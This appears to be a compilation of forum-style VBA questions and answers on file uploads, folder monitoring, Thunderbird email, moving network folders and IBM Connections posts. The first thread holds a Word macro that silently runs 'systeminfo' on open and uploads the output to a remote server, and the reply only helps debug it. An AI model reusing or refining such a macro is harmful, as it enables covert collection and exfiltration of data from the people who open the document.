Send file via post in visual basic - vba

i'm coding a makro in MS Word to execute a command in cmd and send it to the remote server via POST. I have no expirience in VB so the error could be easy to solve, but i have no idea what i'm doing wrong
Sub Run_Cmd(command, visibility, wait_on_execute)
Dim WshShell As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "%COMSPEC% /c " & command, visibility, wait_on_execute
End Sub
Sub Run_Program(program, arguments, visibility, wait_on_execute)
Dim WshShell As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run program & " " & arguments & " ", visibility, wait_on_execute
End Sub
Const INVISIBLE = 0
Const WAIT = True
Private Sub pvPostFile(sUrl As String, sFileName As String, sPath As String, Optional ByVal bAsync As Boolean)
Const STR_BOUNDARY As String = "3fbd04f5-b1ed-4060-99b9-fca7ff59c113"
Dim nFile As Integer
Dim baBuffer() As Byte
Dim sPostData As String
'--- read file
nFile = FreeFile
Open sPath For Binary Access Read As nFile
If LOF(nFile) > 0 Then
ReDim baBuffer(0 To LOF(nFile) - 1) As Byte
Get nFile, , baBuffer
sPostData = StrConv(baBuffer, vbUnicode)
MsgBox sPostData
End If
Close nFile
'--- prepare body
sPostData = "--" & STR_BOUNDARY & vbCrLf & _
"Content-Disposition: form-data; name=""uploadfile""; filename=""" & Mid$(sFileName, InStrRev(sFileName, "\") + 1) & """" & vbCrLf & _
"Content-Type: application/octet-stream" & vbCrLf & vbCrLf & _
sPostData & vbCrLf & _
"--" & STR_BOUNDARY & "--"
'--- post
With CreateObject("Microsoft.XMLHTTP")
.Open "POST", sUrl, bAsync
.SetRequestHeader "Content-Type", "multipart/form-data; boundary=" & STR_BOUNDARY
.Send pvToByteArray(sPostData)
End With
End Sub
Private Function pvToByteArray(sText As String) As Byte()
pvToByteArray = StrConv(sText, vbFromUnicode)
End Function
Sub Workbook_Open()
Run_Cmd "systeminfo > %USERPROFILE%\temp.txt", INVISIBLE, WAIT
Dim envstring As String
envstring = Environ$("USERPROFILE")
envstring = envstring & "\temp.txt"
pvPostFile "http://testujemywordpressa.pl/index.php", "temp.txt", envstring
End Sub
debugger says that "The system can not locate the specified resource"

The reason you are receiving that error message is because the server you are trying to reach doesn't exist. Check the URL that you are passing to pvPostFile(). I have received this error many times because of bad URLs in the past few months. Let me know if this works out for you.

Related

To move files from multiple source folders to multiple destination folders based on two hour delay

Yesterday we have finalized and tested the code (the first part of the code is VBScript) and the second part of the code is (in Excel VBA) to move file from one source folder to one destination folder successfully based on two hour delay (i.e. each file which will come to source folder will upload 2 hour delay), however the situation is that i have actually 15 source folders and 15 destination folders.
One method is that i should create 15 VBScript files and 15 Excel files that contains the code for each source and destination folder which i believe is not efficient way. I have tried a lot to add multiple source and destination folder options in the below mentioned code(s) but i am not successful, can anyone help me, i will be thankful.
the below mentioned code is VBscript
Dim oExcel, strWB, nameWB, wb
strWB = "E:\Delta\Folder monitor.xlsm"
nameWB = Left(strWB, InStr(StrReverse(strWB), "\") - 1)
nameWB = Right(strWB, Len(nameWB))
Set objExcel = GetObject(,"Excel.Application")
Set wb = objExcel.Workbooks(nameWB)
if wb is nothing then wbscript.quit 'the necessary workbook is not open...
dim strComputer, strDirToMonitor, strTime, objWMIService, colMonitoredEvents, objEventObject, MyFile
strComputer = "."
'# WMI needs two backslashes (\\) as path separator and each of it should be excaped.
'# So, you must use 4 backslashes (\\\\) as path separator!
strDirToMonitor = "E:\\\\Delta\\\\Source" 'use here your path
'# Monitor Above every 10 secs...
strTime = "10"
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colMonitoredEvents = objWMIService.ExecNotificationQuery _
("SELECT * FROM __InstanceOperationEvent WITHIN " & strTime & " WHERE " _
& "Targetinstance ISA 'CIM_DirectoryContainsFile' and " _
& "TargetInstance.GroupComponent= " _
& "'Win32_Directory.Name=" & Chr(34) & strDirToMonitor & Chr(34) & "'")
Do While True
Set objEventObject = colMonitoredEvents.NextEvent()
Select Case objEventObject.Path_.Class
Case "__InstanceCreationEvent"
' msgbox "OK"
'MsgBox "A new file was just created: " & _
MyFile = StrReverse(objEventObject.TargetInstance.PartComponent)
'// Get the string to the left of the first \ and reverse it
MyFile = (StrReverse(Left(MyFile, InStr(MyFile, "\") - 1)))
MyFile = Mid(MyFile, 1, Len(MyFile) - 1)
'send the information to the waiting workbook:
objExcel.Application.Run "'" & strWB & "'!GetMonitorInformation", Array(MyFile,Now)
End Select
Loop
and the second code for this purpose should be copied in a standard module:
Option Explicit
Private Const ourScript As String = "FolderMonitor.vbs"
Private Const fromPath As String = "E:\Delta\Source\"
Sub startMonitoring()
Dim strVBSPath As String
strVBSPath = ThisWorkbook.Path & "\VBScript\" & ourScript
TerminateMonintoringScript 'to terminate monitoring script, if running..
Shell "cmd.exe /c """ & strVBSPath & """", 0
End Sub
Sub TerminateMonintoringScript()
Dim objWMIService As Object, colItems As Object, objItem As Object, Msg
As String
Set objWMIService = GetObject("winmgmts:\\" & "." & "\root\CIMV2")
Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Process", "WQL", 48)
For Each objItem In colItems
If objItem.Caption = "wscript.exe" Then
'// msg Contains the path of the exercutable script and the script name
On Error Resume Next
Msg = objItem.CommandLine 'for the case of null
On Error GoTo 0
'// If wbscript.exe runs the monitoring script:
If InStr(1, Msg, ourScript) > 0 Then
Debug.Print "Terminate Wscript process..."
objItem.Terminate 'terminate process
End If
End If
Next
Set objWMIService = Nothing: Set colItems = Nothing
End Sub
Sub GetMonitorInformation(arr As Variant)
'call DoSomething Sub after 2 hours (now IT WILL RUN AFTER 1 MINUTE, for testing reasons...)
'for running after 2 hours you should change "00:01:00" in "02:00:00":
arr(0) = Replace(arr(0), "'", "''") 'escape simple quote (') character'
Application.OnTime CDate(arr(1)) + TimeValue("00:01:00"), "'DoSomething """ & CStr(arr(0)) & """'"
Debug.Print "start " & Now 'just for testing (wait a minute...)
'finaly, this line should be commented.
End Sub
Sub DoSomething(strFileName As String)
Const toPath As String = "E:\Delta\Destination\"
If Dir(toPath & strFileName) = "" Then
Name fromPath & strFileName As toPath & strFileName
Debug.Print strFileName & " moved from " & fromPath & " to " & toPath 'just for testing...
Else
MsgBox "File """ & toPath & strFileName & """ already exists in this location..."
End If
End Sub
you can see the previous query here on the link Previous Query
Please, use the next scenario. It assumes that you will fill the necessary path in an existing Excel sheet. Since, it will take the necessary paths based on a cell selection, it is necessary to name the sheet in discussion as "Folders". In Column A:A you should fill the 'Source' folder path (ending in backslash "") and in B:B, the 'Destination' folder path (also ending in backslash).
The proposed solution takes the necessary paths based on your selection in A:A column. The 'Destination' path is extracted based on the selection row.
Please, replace the existing string with the next one, adapting the two necessary paths:
Dim oExcel, strWB, nameWB, wb
strWB = "C:\Teste VBA Excel\Folder monitor.xlsm" 'use here your workbook path!!!
nameWB = Left(strWB, InStr(StrReverse(strWB), "\") - 1)
nameWB = Right(strWB, Len(nameWB))
Set objExcel = GetObject(,"Excel.Application")
Set wb = objExcel.Workbooks(nameWB)
if wb is nothing then wbscript.quit 'the necessary workbook is not open...
dim strComputer, strDirToMonitor, strTime, objWMIService, colMonitoredEvents, objEventObject, MyFile
strComputer = "."
'# WMI needs two backslashes (\\) as path separator and each of it should be excaped.
'# So, you must use 4 backslashes (\\\\) as path separator!
strDirToMonitor = "C:\\\\test\\\\test" 'use here your path !!!
'# Monitor Above every 10 secs...
strTime = "10"
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colMonitoredEvents = objWMIService.ExecNotificationQuery _
("SELECT * FROM __InstanceOperationEvent WITHIN " & strTime & " WHERE " _
& "Targetinstance ISA 'CIM_DirectoryContainsFile' and " _
& "TargetInstance.GroupComponent= " _
& "'Win32_Directory.Name=" & Chr(34) & strDirToMonitor & Chr(34) & "'")' and " _
' & "'Win32_Directory.Name=" & Chr(34) & strDirToMonitor & Chr(34) & "'")
Do While True
Set objEventObject = colMonitoredEvents.NextEvent()
Select Case objEventObject.Path_.Class
Case "__InstanceCreationEvent"
MyFile = StrReverse(objEventObject.TargetInstance.PartComponent)
' Get the string to the left of the first \ and reverse it
MyFile = (StrReverse(Left(MyFile, InStr(MyFile, "\") - 1)))
MyFile = Mid(MyFile, 1, Len(MyFile) - 1)
'send the information to the waiting workbook:
objExcel.Application.Run "'" & strWB & "'!GetMonitorInformation", Array(MyFile, Now, strDirToMonitor)
End Select
Loop
The adapted script sends also the source path to the waiting workbook...
TerminateMonintoringScript Sub remains exactly as it is.
Please, copy the next adapted code instead of existing one, in the used standard module (TerminateMonintoringScript included, even not modified):
Option Explicit
Private Const ourScript As String = "FolderMonitor.vbs"
Private fromPath As String, toPath As String
Sub startMonitoring()
Dim strVBSPath As String, actCell As Range, strTxt As String, pos As Long, endP As Long, oldPath As String
Set actCell = ActiveCell
If actCell.Parent.Name <> "Folders" Then MsgBox "Wrong activated sheet...": Exit Sub
fromPath = actCell.Value
If actCell.Column <> 1 Or Dir(fromPath, vbDirectory) = "" Then Exit Sub 'not a valid path in the selected cell
strVBSPath = ThisWorkbook.Path & "\VBScript\" & ourScript
'change the script necessary "strDirToMonitor" variable path, if the case:__________________________
strTxt = ReadFile(strVBSPath)
pos = InStr(strTxt, Replace(fromPath, "\", "\\\\"))
If pos = 0 Then 'if not the correct path already exists
pos = InStr(strTxt, "strDirToMonitor = """) 'start position of the existing path
endP = InStr(strTxt, """ 'use here your path") 'end position of the existing path
'extract existing path:
oldPath = Mid(strTxt, pos + Len("strDirToMonitor = """), endP - (pos + Len("strDirToMonitor = """)))
strTxt = Replace(strTxt, oldPath, _
Replace(Left(fromPath, Len(fromPath) - 1), "\", "\\\\")) 'replacing existing with the new one
'drop back the updated string in the vbs file:
Dim iFileNum As Long: iFileNum = FreeFile
Open strVBSPath For Output As iFileNum
Print #iFileNum, strTxt
Close iFileNum
End If
'__________________________________________________________________________________________________
TerminateMonintoringScript 'to terminate monitoring script, if running...
Application.Wait Now + TimeValue("00:00:02") 'to be sure that the next line will load the updated file...
Shell "cmd.exe /c """ & strVBSPath & """", 0 'run the VBScript
End Sub
Function ReadFile(strFile As String) As String 'function to read the vbscript string content
Dim iTxtFile As Integer
iTxtFile = FreeFile
Open strFile For Input As iTxtFile
ReadFile = Input(LOF(iTxtFile), iTxtFile)
Close iTxtFile
End Function
Sub TerminateMonintoringScript()
Dim objWMIService As Object, colItems As Object, objItem As Object, Msg As String
Set objWMIService = GetObject("winmgmts:\\" & "." & "\root\CIMV2")
Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Process", "WQL", 48)
For Each objItem In colItems
If objItem.Caption = "wscript.exe" Then
'// msg Contains the path of the exercutable script and the script name
On Error Resume Next
Msg = objItem.CommandLine 'for the case of null
On Error GoTo 0
'// If wbscript.exe runs the monitoring script:
If InStr(1, Msg, ourScript) > 0 Then
Debug.Print "Terminate Wscript process..."
objItem.Terminate 'terminate process
End If
End If
Next
Set objWMIService = Nothing: Set colItems = Nothing
End Sub
Sub GetMonitorInformation(arr As Variant)
'call DoSomething Sub after 2 hours (now IT WILL RUN AFTER 1 MINUTE, for testing reasons...)
'for running after 2 hours you should change "00:01:00" in "02:00:00":
arr(0) = Replace(arr(0), "'", "''") 'escape simple quote (') character'
fromPath = Replace(arr(2), "\\\\", "\")
Dim rngFrom As Range: Set rngFrom = ThisWorkbook.Sheets("Folders").Range("A:A").Find(what:=fromPath)
toPath = rngFrom.Offset(, 1).Value
Application.OnTime CDate(arr(1)) + TimeValue("00:00:30"), "'DoSomething """ & fromPath & "\" & CStr(arr(0)) & """, """ & toPath & CStr(arr(0)) & """'"
Debug.Print Now; " start " & arr(0) & fromPath & "\" & CStr(arr(0)) 'just for testing (wait a minute...)
'finaly, this line should be commented.
End Sub
Sub DoSomething(sourceFileName As String, destFilename As String)
If Dir(destFilename) = "" Then
Name sourceFileName As destFilename
Debug.Print sourceFileName & " moved to " & destFilename 'just for testing...
Else
Debug.Print "File """ & destFilename & """ already exists in this location..."
End If
End Sub
Sub DoSomething_(strFileName As String) 'cancelled
If Dir(toPath & strFileName) = "" Then
Name fromPath & strFileName As toPath & strFileName
Debug.Print strFileName & " moved from " & fromPath & " to " & toPath 'just for testing...
Else
MsgBox "File """ & toPath & strFileName & """ already exists in this location..."
End If
End Sub
So, you only need to replace the existing VBA code with the above adapted one, to place the 'source'/'destination' paths in columns A:B of one of Excel sheets, which to be named "Folders".
Select in column A:A a 'Source' cell and run startMonitoring.
Play with files creation and check their moving from the new 'source' to the new 'destination'...
But you have to understand that only a session of the WMI class can run at a specific moment. This means that you cannot simultaneously monitor more than one folder...
I am still documenting regarding the possibility to use a query able to be common for multiple folders. But I never could see such an approach till now and it may not be possible...

VBA XMLHTTP POST Upload text/xml File to API Service

I need to send XML file to API service with use of Excel/VBA.
Instructions available in documentation state that the only required field is:
file: string($binary) - file to upload. The name can be specified in the filename parameter of the Content-Disposition header.
This is the equivalent of CURL based on documentation:
curl -X 'POST' \
'api_service_url' \
-H 'accept: */*' \
-H 'Authorization: Bearer XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX=' \
-H 'Content-Type: multipart/form-data' \
-F 'file=#VPRT9000004726.xml;type=text/xml'
I have searched the web and cannot find a working solution. I am wondering, if this is something possible to do with Excel VBA XMLHTTP library at all?
Available documentation of API service can be found on this link under the UPLOAD section:
https://testapi.valenciaportpcs.net/messaging/swagger/index.html
Any help or direction appreciated.
Code that is working for uploading the file, but having issues with UTF-8 special characters:
Option Explicit
Sub UploadFile()
Dim sFile As String
Dim sUrl As String
Dim sAccessToken As String
Dim sBoundary As String
Dim sResponse As String
sFile = "D:\VPRT9000004726.xml"
sUrl = "https://testapi.valenciaportpcs.net/messaging/messages/upload/default"
sBoundary = "---------------------------166096475834725259111917034354"
sAccessToken = "myaccesstoken"
sResponse = pvPostFile(sUrl, sFile, sBoundary, sAccessToken)
'Debug.Print sResponse
End Sub
Private Function pvPostFile(sUrl As String, sFileName As String, sBoundary As String, sAccessToken As String) As String
Dim xmlReq As MSXML2.ServerXMLHTTP60
Dim nFile As Integer
Dim baBuffer() As Byte
Dim sPostData As String
'--- read file
nFile = FreeFile
Open sFileName For Binary Access Read As nFile
If LOF(nFile) > 0 Then
ReDim baBuffer(0 To LOF(nFile) - 1) As Byte
Get nFile, , baBuffer
sPostData = StrConv(baBuffer, vbUnicode)
End If
Close nFile
'--- prepare body
sPostData = "--" & sBoundary & vbCrLf & _
"Content-Disposition: form-data; name=""file""; filename=""" & Mid$(sFileName, InStrRev(sFileName, "\") + 1) & """" & vbCrLf & _
"Content-Type: text/xml" & vbCrLf & vbCrLf & _
sPostData & vbCrLf & _
"--" & sBoundary & "--"
'Debug.Print sPostData
'--- post
Set xmlReq = New MSXML2.ServerXMLHTTP60
With xmlReq
.Open "POST", sUrl, False
.setRequestHeader "Authorization", "Bearer " & sAccessToken
.setRequestHeader "Content-Type", "multipart/form-data; boundary=" & sBoundary
.setRequestHeader "Accept-Charset", "UTF-8"
.send pvToByteArray(sPostData)
pvPostFile = .Status
End With
Set xmlReq = Nothing
End Function
Private Function pvToByteArray(sText As String) As Byte()
pvToByteArray = StrConv(sText, vbFromUnicode)
End Function

How to generate and send an email using Mozilla Thunderbird through Excel VBA

I've been looking into trying to use VBA Macro's to send an email through Mozilla Thunderbird with the spreadsheet as an attachment.
///I've searched Google and Stack Overflow itself and none of those solutions seem to be working./// I am not the best at coding or excel itself so I was just wondering if any kind soul could help me out?
Appreciate any help given.
Regards,
Looked at a load more articles and tried following what the comments have said but they didn't help. I have, however, managed to get the email portion of this to work myself. Below is the code I use
Private Declare Function ShellExecute Lib "shell32.dll" _
Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, _
ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As
String, _
ByVal nShowCmd As Long) As Long
Sub Send_Email_Using_Keys()
Dim Mail_Object As String
Dim Email_Subject, Email_Send_To, Email_Cc, Email_Bcc, Email_Body As String
Email_Subject = "ACT Form Completed and Confirmed"
Email_Send_To = "kieranfarley#achievementtraining.com"
Email_Cc = "kieranfarley#achievementtraining.com"
Email_Bcc = "kieranfarley#achievementtraining.com"
Email_Body = "ACT Form Completed and Confirmed Please see attached"
Mail_Object = "mailto:" & Email_Send_To & "?subject=" & Email_Subject &
"&body=" & Email_Body & "&cc=" & Email_Cc & "&bcc=" & Email_Bcc
On Error GoTo debugs
ShellExecute 0&, vbNullString, Mail_Object, vbNullString, vbNullString,
vbNormalFocus
Application.Wait (Now + TimeValue("0:00:02"))
Application.SendKeys "%s"
debugs:
If Err.Description <> "" Then MsgBox Err.Description
End Sub
This opened the 'Write' box in thunderbird with all the fields pre-filled out ready to send.
Found some old code. Not recently tested but it worked with attachments for Thunderbird. You probably have to adapt it to your needs:
'***********************************************************************
'* Send mail with Thunderbird
'*
Option Explicit
'***********************
'* HTML formatting
'*
Private Const STARTBODY = "<html><head><style type='text/css'> body { font: 11pt Calibri, Verdana, Geneva, Arial, Helvetica, sans-serif; } </style></head><body> "
Private Const ENDBODY = "</body></htlm>"
'* Test only
Private Const ATTACHMENT1 = "C:\Temp\attachment1.pdf"
Private Const ATTACHMENT2 = "C:\Temp\attachment2.pdf"
'*******************************************************************************************
'* Test code only. Can be run by placing the cursor anywhere within the code and press F5
'* SetX THUNDERBIRD_PATH "C:\Program Files\Mozilla Thunderbird\thunderbird.exe"
'*
Private Sub MailTest()
Dim Rcp As String
Dim CC As String
Dim BCC As String
Dim Result As Boolean
Rcp = "someone#domain.com"
CC = "someoneelse#domain.com"
BCC = "onedude#domain.com"
Result = SendMail(Rcp, CC, BCC, "Test", "Hello World", False, ATTACHMENT1 & ";" & ATTACHMENT2)
End Sub
'****************************************************************************
'* Send e-mail through Thunderbird
'* SetX THUNDERBIRD_PATH "C:\Program Files\Mozilla Thunderbird\thunderbird.exe"
'*
Function SendMail(strTo As String, _
strCC As String, _
strBCC As String, _
strSubject As String, _
strMessageBody As String, _
Optional PlainTextFormat As Boolean = False, _
Optional strAttachments As String = "", _
Optional SignatureFile As String = "") As Boolean
Dim Cmd As String
Dim Arg As String
Dim Result As Integer
Dim objOutlook As Outlook.Application
Dim MAPISession As Outlook.NameSpace
Dim MAPIMailItem As Outlook.MailItem
Dim strTemp As String
Dim MailResult As Boolean
Dim I As Integer
Dim Account As Object
MailResult = False
Cmd = Environ("THUNDERBIRD_PATH") 'E:\Program Files\Mozilla Thunderbird\thunderbird.exe
If Cmd <> "" Then ' Thunderbird installed
Arg = " -compose """
strTo = Replace(strTo, ";", ",")
If strTo <> "" Then Arg = Arg & "to='" & strTo & "',"
strCC = Replace(strCC, ";", ",")
If strCC <> "" Then Arg = Arg & "cc='" & strCC & "',"
strBCC = Replace(strBCC, ";", ",")
If strBCC <> "" Then Arg = Arg & "bcc='" & strBCC & "',"
If strSubject <> "" Then Arg = Arg & "subject=" & strSubject & ","
If PlainTextFormat = True Then
strTemp = "2" 'Plain text
Else
strTemp = "1" 'HTML
strMessageBody = STARTBODY & strMessageBody & ENDBODY 'Add HTML and CSS
End If
Arg = Arg & "format=" & strTemp & "," 'Format specifier HTML or Plain Text
Arg = Arg & "body='" & strMessageBody & "'," 'Add body text
Call AddSignature(SignatureFile, strMessageBody) 'Add signature if any
Arg = Arg & "attachment='"
Call AddAttachments(strAttachments, , Arg) 'Add attachment(s) if any
Arg = Arg & "'""" 'Closing quotes
Shell Cmd & Arg 'Call Thunderbird to send the message
MailResult = True
SendMail = MailResult
End Function
'*******************************************************************
'* Add recipients, CC or BCC recipients to the email message
'* Recipients is a string with one or more email addresses,
'* each separated with a semicolon
'* Returns number of addresses added
'*
Private Function AddRecipients(Recipients As String, MAPIMailItem As Outlook.MailItem, RecType As Integer) As Integer
Dim OLRecipient As Outlook.Recipient
Dim TempArray() As String
Dim Recipient As Variant
Dim Emailaddr As String
Dim Count As Integer
Count = 0
TempArray = Split(Recipients, ";")
For Each Recipient In TempArray
Emailaddr = Trim(Recipient)
If Emailaddr <> "" Then
Set OLRecipient = MAPIMailItem.Recipients.Add(Emailaddr)
OLRecipient.Type = RecType
Set OLRecipient = Nothing
Count = Count + 1
End If
Next Recipient
AddRecipients = Count
End Function
'******************************************************
'* Add possible signature to the email message
'* Returns True if signature added
'*
Private Function AddSignature(SignatureFile As String, ByRef strMessageBody As String) As Boolean
Dim Signature As String
Dim Tempstr As String
Dim Added As Boolean
Added = False
If SignatureFile <> "" Then
Signature = ""
Open SignatureFile For Input As #1 'Open file for reading
Do While Not EOF(1) 'Loop through file
Input #1, Tempstr 'One line
Signature = Signature & Tempstr 'Add it
Loop
Close #1
strMessageBody = strMessageBody & Signature 'Add to message
Added = True
End If
AddSignature = Added
End Function
'******************************************************
'* Add possible attachments to the email message
'* Returns number of attachments added
'*
Private Function AddAttachments(ByRef strAttachments As String) As Integer
Dim TempArray() As String
Dim Attachment As Variant
Dim Tempstr As String
Dim Count As Integer
Count = 0
TempArray = Split(strAttachments, ";")
For Each Attachment In TempArray
Tempstr = CStr(Trim(Attachment))
If Tempstr <> "" Then
If Count > 0 Then Arg = Arg & ","
Arg = Arg & "file:///" & Tempstr
End If
Count = Count + 1
Next Attachment
AddAttachments = Count
End Function
The code below iterates through a range in excel and for each record marked for sending it will send an email using Thunderbird. Additionally, if the path to a file is specified it will attach that file. Be careful with the apostrophes when building the command string. If you get them wrong the non-printing characters will be removed from the message body for some reason.
Public Sub sendEmail(subject As String, msg As String, path As String)
Dim contactRange As Range, cell As Range
Dim count As Integer
Dim thund As String
Dim email As String
Dim recipientName As String
Dim pathToThunderBird
Set contactRange = Range("ContactYesNo")
pathToThunderBird = "C:\Program Files (x86)\Mozilla Thunderbird\thunderbird.exe "
With Worksheets("IT consulting")
For Each cell In contactRange
If cell.Value = "Yes" Then
count = count + 1
recipientName = cell.Offset(0, 2).Value
email = cell.Offset(0, 6).Value
emailMsg = "Hi " & recipientName & vbCrLf & vbCrLf & msg & vbCrLf
'You'll want to change the salutation.
thund = pathToThunderBird & _
"-compose " & """" & _
"to='" & email & "'," & _
",subject='" & subject & "'," & _
",body='" & emailMsg & vbCrLf & vbCrLf & _
"Your Name" & vbCrLf & _
"123.456.7890" & "'" & """"
If path = "" Then 'no attachment
'do nothing
Else 'with attachment
thund = thund & ",attachment=" & path
End If
Call Shell(thund, vbNormalFocus)
'comment this out if you do not want to send automatically
SendKeys "^+{ENTER}", True
End If
Next cell
End With
End Sub

Move folder across network using vba

I am trying to figure out how to properly move folders on a Network Share using VBA code from an MS Access Form.
Currently I am trying to use the FileSystemObject.MoveFolder method but keep running into a "Permissions Denied" error.
I have referenced this SO question and none of the top suggestions worked.
Permission denied on CopyFile in VBS
I have verified that the SourcePath and the DestinationPath both are valid by using this function to MoveFolders on my local machine. I have also verified that both Folders have the appropriate network permissions. See Below
So my question is, is there a way to provide credentials with the FileSystemObject? or should I be using a different function entirely?
EDIT:
I have verified that I can move the folders manually. I have tried the function with and without files in the source folder.
I also have tried hardcoding the source and destination paths into the FSO.MoveFolder Command
Private Sub Check6_AfterUpdate()
On Error GoTo Err_DormantHandler
Dim response As String
Dim client As String
Dim FSO As Object
Dim fromPath As String
Dim toPath As String
Set FSO = CreateObject("Scripting.Filesystemobject")
client = Me.CustomerName.Value
fromPath = "P:\__Active_Clients\" & client
toPath = "R:\Dormant_Clients\"
If Me.Check6.Value = True Then
response = MsgBox("Would you like to automatically move the " & client & " folder to the dormant folder?", vbYesNo)
If response = vbYes Then
If FSO.FolderExists(fromPath) = False Then
MsgBox fromPath & " doesn't exist."
Exit Sub
End If
If FSO.FolderExists(toPath) = False Then
MsgBox toPath & " doesn't exist."
Exit Sub
End If
FSO.MoveFolder source:=fromPath, destination:=toPath
MsgBox "The customer folder has been moved to " & vbNewLine & toPath, vbOKOnly
End If
If response = vbNo Then
MsgBox "The customer folder will NOT be moved to dormant"
Exit Sub
End If
End If
Exit_DormantHandler:
Exit Sub
Err_DormantHandler:
MsgBox "Error# " & Err & vbNewLine & "Description: " & Error$
Resume Exit_DormantHandler
End Sub
I'd try with xcopy from windows :
Sub Test()
XCopy "C:\source", "C:\destination\", elevated:=False
End Sub
Public Sub XCopy(source As String, destination As String, Optional elevated = False)
Static shell As Object
If shell Is Nothing Then Set shell = CreateObject("Shell.Application")
Dim vArguments, vOperation
vArguments = "/E /Y """ & source & """ """ & destination & """"
vOperation = IIf(elevated, "runas", "")
shell.ShellExecute "xcopy.exe", vArguments, "", vOperation, 0
End Sub
You could try the batch file route, do you get permission errors with this? You'll need the scripting reference, but it looks like you already have that.
Note the wait is important here, without the pause this will not work. Also note the trailing slash only in the newDir, not the orig
Sub Main()
Dim origDir As String: origDir = "C:\Users\thomas.preston\Original"
Dim newDir As String: newDir = "C:\Users\thomas.preston\Destination\"
Dim batDir As String: batDir = "C:\Users\thomas.preston\Desktop"
Dim contents As String
If Not DirectoryExists(origDir) Then
MsgBox "Directory deos not exist: " & vbCrLf & origDir
Exit Sub
Else
contents = "move """ & origDir & """ """ & newDir & """"
MakeBat batDir & "\" & "ILikeToLoveItMoveIt.bat", contents
FireBat batDir & "\" & "ILikeToLoveItMoveIt.bat"
Application.Wait DateAdd("S", 2, Now)
End If
If DirectoryExists(newDir & folderName(origDir)) = True Then MsgBox "Greeeeeeat success" Else MsgBox "doh"
If FileExists(batDir & "\" & "ILikeToLoveItMoveIt.bat") = True Then Kill batDir & "\" & "ILikeToLoveItMoveIt.bat"
End Sub
Function folderName(ByRef origDir As String) As String
folderName = Right(origDir, Len(origDir) - InStrRev(origDir, "\", , vbTextCompare))
End Function
Sub MakeBat(ByVal FileName As String, ByVal contents As String)
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile(FileName, True)
a.WriteLine (contents)
a.Close
End Sub
Function FireBat(ByRef FullName As String)
If dir(FullName, vbNormal) <> "" Then
Call Shell(FullName, vbNormalFocus)
Else
MsgBox "Bat not created"
End If
End Function
Function FileExists(ByVal FullPath As String) As Boolean
If dir(FullPath) <> "" Then
FileExists = True
Else
FileExists = False
End If
End Function
Function DirectoryExists(ByVal FullPath As String) As Boolean
If dir(FullPath, vbDirectory) <> "" Then
DirectoryExists = True
Else
DirectoryExists = False
End If
End Function

How to post a forum topic with attachment to IBM Connections using Excel VBA

I am trying to post a forum topic with attached image file to IBM Connections 5.0 using Excel VBA.
According to IBM Connections API description a multipart request will be required here.
What I already managed is to post a forum topic without attachment and also attaching a text or image file to an existing wiki page. Therefore I assume that the problem is not related with these aspects but rather with the correct formatting of the multipart request. API description is not very clear to me here and I tried several things I found about multipart requests in other help forums. But all I get is a response "400 bad request".
Maybe some of you experts can give me a hint about my code:
Public Sub CreateForumPost()
Const sBoundary As String = "2588eb82-2e1c-4aec-9f4f-d65a3ecf8fab"
Dim oHttp As MSXML2.xmlhttp
Dim sUrl As String
Dim sBody As String
'create XMLHTTP object and URL
Set oHttp = CreateObject("MSXML2.XMLHTTP")
sUrl = "https://my-connect-server/forums/atom/topics?forumUuid=9e51cbfb-4b1d-405d-9835-dbd087c49a65"
'create forum post
sBody = "--" & sBoundary & vbCrLf
sBody = sBody & "<?xml version=""1.0"" encoding=""UTF-8""?>"
sBody = sBody & "<entry xmlns=""http://www.w3.org/2005/Atom"" xmlns:app=""http://www.w3.org/2007/app"" xmlns:snx=""http://www.ibm.com/xmlns/prod/sn"">"
sBody = sBody & "<category scheme=""http://www.ibm.com/xmlns/prod/sn/type"" term=""forum-topic""/>"
sBody = sBody & "<title type=""text""> " & "My Title" & " </title>"
sBody = sBody & "<category term=""question"" scheme=""http://www.ibm.com/xmlns/prod/sn/flags""/>"
sBody = sBody & "<category term=""" & "my-tag" & """/>"
sBody = sBody & "<content type=""html""> " & "My post content" & " </content>"
sBody = sBody & "</entry>" & vbCrLf
sBody = sBody & "--" & sBoundary & vbCrLf
sBody = sBody & "Content-Disposition: attachment; filename=""dummy.txt""" & vbCrLf & vbCrLf
sBody = sBody & sGetFile("c:\temp\dummy.txt") & vbCrLf
sBody = sBody & "--" & sBoundary & "--" & vbCrLf
Call oHttp.Open("POST", sUrl, False)
Call oHttp.setRequestHeader("Content-Type", "multipart/related;boundary=" & sBoundary & ";type=""application/atom+xml""")
Call oHttp.send(pvToByteArray(sBody))
If oHttp.Status = 201 Then
Call MsgBox("success")
Else
Call MsgBox("error")
Stop
End If
End Sub
Private Function sGetFile(sName As String) As String
Dim abyContent() As Byte
Dim iNumber As Integer
Dim lLen As Long
lLen = FileLen(sName)
If lLen > 0 Then
ReDim abyContent(lLen - 1)
iNumber = FreeFile
Open sName For Binary Access Read As iNumber
Get iNumber, , abyContent
Close iNumber
sGetFile = StrConv(abyContent, vbUnicode)
Else
sGetFile = ""
End If
End Function
Function pvToByteArray(sText As String) As Byte()
pvToByteArray = StrConv(sText, vbFromUnicode)
End Function
We found out what the problem was. It was indeed about the formatting of the multipart request. You need to be very careful with the CrLf characters ...
Public Sub CreateForumPost()
'...
'create forum post
sBody = vbCrLf & "--" & sBoundary & vbCrLf & vbCrLf
'...
sBody = sBody & sGetFile("c:\temp\dummy.txt") & vbCrLf
sBody = sBody & "--" & sBoundary & "--"
'...
End Sub
Now it works. Nevertheless many thanks for your support!